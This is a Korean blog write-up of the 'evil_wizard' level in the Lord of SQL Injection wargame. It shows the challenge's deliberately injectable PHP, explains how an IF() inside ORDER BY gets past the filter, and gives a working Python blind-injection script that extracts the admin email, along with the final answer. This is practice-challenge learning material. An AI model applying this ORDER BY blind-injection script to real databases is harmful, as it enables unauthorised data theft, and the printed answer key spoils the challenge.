<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);
?>
hell_fire 문제와 유사하지만 Time Based SQL Injection을 할 수가 없다.
이번엔 정렬 순서를 이용한다. order by 뒤엔 칼럼명이 온다. 근데 숫자로 대체 가능하다.
select id, pw from member order by 1;
이 쿼리에선 1은 id를 의미한다. 그럼 pw는 2일 것이다. 그리고 출력하는 열이 2개이므로 2까지만 사용가능하다.
결과적으로 id를 기준으로 디폴트값인 오름차순으로 정렬된다.
근데 order by 뒤에 if 함수가 온다면 숫자의 역할이 달라진다.
select id, pw from member order by if(id='admin' or id='hello', 0,1);
이 쿼리의 경우 id가 admin이거나 hello의 경우는 먼저 출력되고 나머지는 그다음에 출력된다.
즉, admin과 hello는 우선순위가 0이 되어 먼저 출력, 나머진 우선순위가 1이 되어 나중에 출력된다.
기존의 칼럼명 역할이 아닌 우선순위 역할을 한다고 보면 된다. 우선순위 값이 작을수록 먼저 출력.
그리고 0,1 이 아닌 어떠한 자연수를 써도 가능하다.
import requests
url='https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#60
def find_email_len():
em_len=1
while True:
r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},0,1)".format(em_len),cookies=cookie)
if '50</td></tr><tr><td>rubiya' in r.text:
return em_len
else:
em_len+=1
#aasup3r_secure_email@emai1.com
def find_email():
em_len=find_email_len()
tmp=''
for i in range(1,em_len+1):
for j in HEX:
r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',0,1)".format(i,j),cookies=cookie)
if '50</td></tr><tr><td>rubiya' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_email()
if문이 참이면 우선순위가 0이 되어 admin이 먼저 출력된다. 거짓이면 rubiya가 먼저 출력된다.
이를 기반으로 Blind SQL Injection을 수행했다.
코드 상의 tmp 변수에는 pw 문자 하나에 해당하는 0x를 제외한 16진수가 저장된다.
ex) pw에 알파벳 a가 있다면 tmp에는 '61'이 저장된다.
int(tmp,16)을 하면 10진수로 변환된다. 16은 tmp가 16진수임을 의미.
답: ?email=aasup3r_secure_email@emai1.com
'Lord of SQL Injection' 카테고리의 다른 글
red_dragon (0) | 2023.01.02 |
---|---|
green_dragon (2) | 2023.01.02 |
hell_fire (2) | 2023.01.01 |
dark_eyes (0) | 2023.01.01 |
iron_golem (0) | 2023.01.01 |